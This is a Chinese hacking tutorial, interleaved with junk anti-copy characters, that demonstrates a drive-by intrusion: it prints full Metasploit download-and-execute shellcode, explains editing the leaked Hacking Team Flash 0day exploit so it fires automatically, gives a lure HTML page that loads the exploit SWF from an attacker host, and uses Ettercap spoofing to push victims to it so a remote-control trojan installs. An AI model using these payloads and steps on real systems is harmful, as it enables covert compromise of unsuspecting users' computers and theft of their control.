M7 U# z( N4 j; j5 s 三、flash 0day之手工代码修改制作下载者实例入侵演示 7 X. }% |/ B) i9 K9 e( Y5 [
3 ]9 M' d& o5 w* z! Z- C
" U D" @- k8 {6 _; [
利用到的工具: ) L2 `6 G" g7 z
( e* l! @; a' D5 Y
8 F! P& b2 x) Y" }( o* R Msf * p2 j) \7 B/ W* \/ H
/ C9 p& T" y2 h- ~5 i. y
$ R; g" M# B+ o+ Y2 a7 ~ Ettercap
6 Y8 B. u: G0 ]+ k2 h! g# G2 n Y2 G8 \ 1 `9 ^* X6 P) V& v+ ?( X# |
# d! }7 d* ?" N; v8 T* Y2 Q
Adobe Flash CS6 * y+ _6 ?/ U4 Z' M) T
" r- s9 u, H( H- c2 |# T: [5 \3 v; b6 H6 W+ y
Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
4 y; u; X( X" H0 s1 }2 m % [! y9 C) z& o
. n/ ^% r$ ?$ ^; a1 d$ f 下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options * v9 T( C. J# m8 z/ l( O; @
6 L# T2 n1 H) {/ j
2 i" M- G) r9 z$ p _9 Z 如图: . P; I& K: t9 q, b" Y- J) L& a
5 T4 Q1 `/ _# s4 w
! d6 O1 ~, I5 K) s 7 [, c2 m" W/ W; k( \5 R+ p4 ]: X% a
9 _" l' `7 x, C/ _2 [
$ m1 S7 k( L: \9 A4 o
1 N- `/ q0 p3 ` E2 k% F/ g5 ~; x; K2 Y
' C1 y9 p s6 D# ^8 L* y+ }+ F, z$ a% _; S
然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图: ' E; x) U5 C" {7 {5 a
! h! q7 k1 c) w+ {
8 Y. }- j6 b. u* C, f6 g( V0 z# K7 i
6 F, {3 N3 x0 O z: J' { V7 a% g$ l
; P2 t3 Q8 S, N. E4 J" M
" u6 p0 O: @( {$ Y; s
( m; D6 ?; q6 w+ I3 ?
) K+ U! V# l" G9 U( U% m t/ l/ e2 Q! @# h3 s8 a: \
然后执行generate -t dword生成shellcode,如下: ! t7 w' k( k2 k* l3 A
4 h4 l# c* f" d7 g' ^
/ H( m4 @3 |. e$ y
0 K0 E" M, K2 |
& O9 W- Z/ h+ g/ J3 I% S1 n1 m; I: y' B
复制代码到文本下便于我们一会编辑flash exp,如下: ( ]' B1 D" U, R+ T1 M* T
0 S6 t3 X6 R* ]" m9 Q t
* I$ w, h+ u1 V' Q% i' |( y
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31,
0 n2 \) J# Y! m7 v) V6 A7 R 1 ]/ L! e8 s/ E9 F: Z& I
' I* n8 O6 t% I! F 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0,
/ Z5 `7 h9 N& c' e, {" e/ q 5 X' r# Y- D& c- H- X) I. }4 j
* O) s# ~/ z- G" `: b/ ~
0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, 9 f0 [, j* ` G( ` [+ d
! |& Z' m5 H& f4 F2 d+ s) W) k; l
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, - l4 ?" h( d6 S9 O+ z
& }; I& q9 v7 B4 r1 g( J) w$ P( Q( C4 M) A' n6 f- Q
0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, 0 u4 [& L5 ]* {* z5 n6 `' s5 |
7 x! Y; Y$ y1 ^4 n( o# W; v
# E5 `1 j3 c5 P! Y7 `4 x
0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, ; v& b' {* F% E# @( e& P$ t3 f: t
# H" u0 A! G' P) }9 J# t6 {$ J ^) a2 d+ a6 ^7 | W
0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e,
; [# a4 ~( \- w $ K7 c8 G% o+ ~# j5 K0 V; L! T
0 P- F( l& m; w/ P# r, Y: P
0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, ! [* Z% k( x% w( `3 J4 m/ B. Y
2 b, q* |1 k0 h, L
, H8 S( d6 D( D7 i4 `6 F3 Q4 ^6 G5 B 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff,
; c7 g3 y( D9 w2 U$ O1 U% X # s) i) e5 H7 I, i
/ Q% T$ `8 j& |' B+ w* {0 s* \+ ] 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
* K( h" q/ s) R2 Z1 g( o# ^
5 U& ?! P1 d( `& L
" w/ S. n4 J# n3 ]. ^ 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5,
0 d) l6 S7 i6 e; d: a) K% W5 u( C7 d4 ] 0 r" M9 E+ B* f" D3 x3 g% m
4 U3 z M; p" s8 b% I- ]0 S
0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, . c/ {# M7 P! g/ b1 X
2 ^$ C. A' P. k' ^
8 l# ? x+ C9 N% Q8 o, O 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973,
8 x; S% X$ I }) ?, P3 G 1 C4 \/ e5 o4 a6 y1 A6 N
4 L/ z* P9 U' W, [! }( T
0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000
% b! B. R) K6 L: {" N4 ^8 n 8 y8 [3 l0 G# q9 q1 E
) i) E+ N, @1 ?( C1 z' K: g N" \# h/ ]& H5 }. ~" v* W
2 k( ?1 C! K( q* `" @% D/ r
" {4 k: K/ \ ~0 w; ^8 ~1 O
, `! b- N/ G* D8 B3 Y6 q2 i5 z; o
5 Z6 |. e% D0 l" m0 x( G9 i! Q0 d
下面我们来修改flash 0day exp,需要修改三个文件,分别为:
, y1 P& ? J2 e4 S / e; ~; v I8 x$ z
5 O" k4 M. R$ N, {3 u
3 u+ Q/ s; O) m9 z$ l
3 a" f3 p' Z% K
' C: G" P& A) ^ 先修改ShellWin32.as,部分源代码如图: 8 x" y7 ]- Z# J L1 r, ]
- {! a$ ~1 D0 [- y& b% p
7 }( b. m/ W0 O" | 1 O# T" A4 s- D
" p) v$ s6 \! ]" q
# s8 x; d5 P: z4 n6 q/ U) [) y7 p 我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下:
9 A! O* q7 ~0 h, m8 s . K) D a1 z4 Z
- t( D: ~% b3 h1 e1 ~, s
! s; \' c+ {1 \& C+ i( p
8 u& y9 t; ]( q
0 F5 k( u! m' A! f+ k5 K1 v
然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图:
" c' _ Y. h9 y' }: i) ~
; o. D# u7 _ }5 W' V' A9 `3 G! z+ i: D6 N1 w, o
( m( r0 @ j- n( I H, R) s3 n
5 q+ Z) k+ n( G4 t7 I/ ~
( m+ d ~" g; m2 K 换行在后面加一句TryExpl();注意是l不是数字1,然后如图:
5 S' Q- S. S$ D) _- P ' s4 T; u5 u- b
/ p3 h' T; c; m' t , O4 Z1 k8 C1 m- f- H2 D: G) |
; T5 j/ R f5 V; `2 o
. @) g$ C3 v% i) m( k# f: k 7 ~( {8 U/ M1 f, U
5 t# F1 B3 A {, n2 g7 O" m1 A- }5 }6 y4 X
6 M9 J4 w% s; n, M5 F
, ^6 o H' @# D
# r1 z+ Q E4 g% T8 @ 然后点保存,下面我们来编译一下,打开 2 k. J' I! @3 Y h+ I. ^
( `8 S" P$ H6 v' d. q
( E( r0 Z* z" H) {& \" ? exp1.fla然后点文件-发布,看看编译没错误
) ^2 G- w; h% |7 ~& Z: ^, j 7 q* E2 {, {! G. C) P3 i3 I
9 ^" `$ x W% T0 l& [! \3 J
) \3 t" a7 k; o# F8 J5 u. h3 A
4 a) }" `0 I! I( n# S. [- \, x6 P* K+ r* [2 n7 X2 i( b/ m" b
' u% z4 Z8 ]% W
9 X) c0 [$ D- U
/ x. [. f5 g& x) i8 u$ L 4 r3 l0 d; z5 l% R, R! L
; v) }! p. ~9 V7 a5 d* d* G2 \# U, n4 t7 j. F9 |* B
+ S$ h! n. c0 b8 t- o+ |
1 p* |$ @/ `+ L6 w6 _, H9 y8 r( ^
! P' {. s! Q5 r$ F 然后我们把生成的 * W8 k. E. D, x! v- `6 E
2 p1 e" Y$ k# P% o
& M. R- s- }" U5 O" D exp1.swf丢到kailinux 的/var/www/html下:
' X" [5 `- d" y$ g: L # U4 _& k$ M2 `6 W$ |7 h- u
. g# Q" o9 n. x* ]7 o7 M5 p( \
然后把这段代码好好编辑一下
- o1 Y \/ o E/ O/ w ; C5 m, a# T! Z$ S2 K; w
/ Y! M |& `' [
6 n3 {( R$ z& u3 l, t. M6 H
( q4 I5 ?6 J$ e) y8 U2 t2 L" m- E/ @! e& ]2 `6 S* E
! t; N' i' i7 [$ k
! m, J8 V: X' [. y+ K2 F9 {6 U! n7 R" A/ I* Y8 v( d
) ?+ z6 n |; n6 {/ z/ t! q
- ]! S! z8 w" b, g
/ r8 W, |" U# W1 { 8 e0 X6 I N- ?3 \# T- q3 D
0 B5 K4 M# V; l: Q3 e5 k" L# [5 W b' E1 A& h7 i# q
4 w& R) h1 K% J. s7 D3 O
, I5 C8 k3 b, @
, D, z+ E. n I1 y: A
& x/ H1 p# K' G
$ p3 ?( S1 T# r1 w" `
D- m9 ]8 |3 `: P% W2 g1 m <!DOCTYPE html> ; W- G+ u) F U1 n+ |
7 N% ~3 {# }- U; P! L0 r
. P3 l- ?+ e& v8 ^; m <html> 8 c6 v, ~7 |' d5 `/ z) o
8 d) i! J' s" d# g; b4 H
7 s2 j |& Y& g8 G1 ] <head> & H1 r* s0 U% q# C6 k0 a
+ }0 {, _- N2 i6 n; ]: ~: Z6 J
5 G- R1 K U* d# I; g: c <meta http-equiv="Content-Type" content="text/html;
2 S2 g* y9 A- ^' ~3 o 4 t$ K% s! y! f4 s4 ]
' p9 d8 r" n# O w. T! f( A
charset=utf-8"/> * h4 D5 H# W& ]& {
- [* @+ b2 {. \
- P1 Z& [9 w5 Z) r R7 z </head>
) L. J) j; E2 W2 O& W( C
5 k$ ?: G/ b/ D. S4 h' y7 V: P) s2 Z1 V9 J5 \
<body>
3 _# M2 q% `* g6 ~. M7 H0 x. A
( M0 }4 f9 J3 W3 ?3 k7 u; K0 @
+ B- @: S+ | I0 T& } <h2> Please wait, the requested page is loading...</h2> 9 h- b3 @- Z* E) h* v/ O- F
2 O/ |1 p6 t- V# \" f
+ {4 P8 P' q3 f
<br>
3 D2 j2 U* X/ J1 j/ }0 i
, {8 t2 V1 \% b8 W; O. Y( j6 A
5 ^+ ` T1 }' W7 o% J5 x/ ^2 B5 i+ F <OBJECT ! k a* y! c6 _/ _8 u( M
# T% i! e2 k% b" Y s- A' [
. s% S$ I6 P/ O6 c# C
classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie
* {) a P0 {7 e5 k) a, F$ X 4 n. J2 Y& {7 N0 g W
x7 u* k' @# o VALUE="http://192.168.0.109/exp1.swf"></OBJECT>
8 m n( [' v" r% b# V3 p
$ N3 s0 a% p; |0 f+ l+ S; ^, v% r0 m
</body>
8 K, z4 A5 }! B {6 e7 W
0 ]. ~$ P6 X7 T. f1 b2 Y
3 S+ q. R J: U. P0 J, f <script> . s, P9 i: g4 k6 K- a4 I" O2 O
3 F: m% i/ _# X1 i8 a" A9 A8 {6 x
* `- N" W; v& D; P/ }/ w$ e3 J setTimeout(function () {
; W% ], F0 b/ h4 N
: ]* q* q! S3 V+ e- d/ b E/ w0 ?) p3 z, p
6 g# L" S0 f* O5 f
! M: S* @+ r+ D2 e6 V. i2 S8 \: I @( m! C& e
window.location.reload(); 4 R( P4 ^3 h6 l# h4 p! N
/ {$ j! t; g* o4 t8 Z# _) t, S" ^& [0 `& W1 g' r7 ~
}, 10000); . X- z- j) T' H& Y
8 D. S9 l A$ r2 f5 W, @
/ r9 s% s3 L/ ]" `; l3 B8 u* g# n' f ! Y% d2 {( }3 `9 g1 p# f
& Y; j4 t' V, S
4 `! h$ J1 X, Q; p </script>
# d' G% d* {* u, Q% Z/ v 3 f: T! i$ P' I
! y. ~: ]* k2 a2 e8 n+ L- r
</html>
+ }# j0 l K8 V- J, m) K- i
5 v, F- p5 |1 ?* K# A e* R6 o: g% R! U! c" A
: K! C$ z6 h* T R$ z- t6 N
! W3 ]/ u! d: l, c
& F1 h# Q' v' H) |# T% ^/ Z" G
注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图:
- H; p) M0 H; h: T ' _# S2 f3 t8 U4 b
9 h( A7 T1 e6 W
" r7 z" s0 S& o) f" J
9 h N+ ^9 P* ^" O% S" ?3 ? f& Z d' W9 N% z: N8 p4 \
- h7 d, V" l2 F ; v+ M1 G- Y% _) n+ d: Z
! O3 o5 s6 z2 I! N$ C ~: A ! }0 W/ P- [5 U
6 ]( C/ n* Y) \# R
; p5 ^; l3 t+ m" N' k8 C8 A3 n
7 b& u; r5 d p- a* e5 S: A
; Z H; j! W/ E2 ^# E! _2 z
9 d- Q7 ~. k" T8 u& s 9 `3 d7 i; m1 t; `6 {
) e, @3 q. e/ F6 f
2 \/ S/ n1 Q3 a' d& X' q- D 下面我们用ettercap欺骗如图: * L8 A0 N$ P3 K& Z
- z/ j9 r& a8 G
4 f1 S* |, F2 U 9 z+ @( K2 ^9 I7 U* T
5 H) H; c: j# O \. m7 x* P- H+ \! A, Y/ J% U( P. }- x
6 k& q+ Y; ?6 C* F. H, p7 `
4 ^& b" P, r5 H* z# y. ~
# B6 D9 ]/ W6 F M 下面我们随便访问个网站看看: . b5 v+ k% A& I; r! O- Q- l5 O
9 x9 q4 Q4 E' o) T" V# b' M6 {
; c; |$ w8 k+ j' Y9 \$ y# Y/ X
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图: . ~7 O C5 u# i8 _4 z* k/ S" I$ ]
5 [% Z2 J3 y M; x$ d
$ _3 x7 E4 O0 v/ y; b
: L# a1 R" t$ y 2 O+ l/ Y' a7 V0 v8 S m" R5 I
1 ?) L9 m/ o+ A" _$ z$ H: U: r+ x0 Y 我们看另一台,
& N7 ^' c: ]! ?6 X" Y3 |5 _
G% } x, T5 r* W& w
! L; `% R6 b$ \% r; j 提示这个错误,说明木马是成功被下载执行了,只是由于某些原因没上线而已。。。
( C/ h; Y$ n) ?0 e; d( S |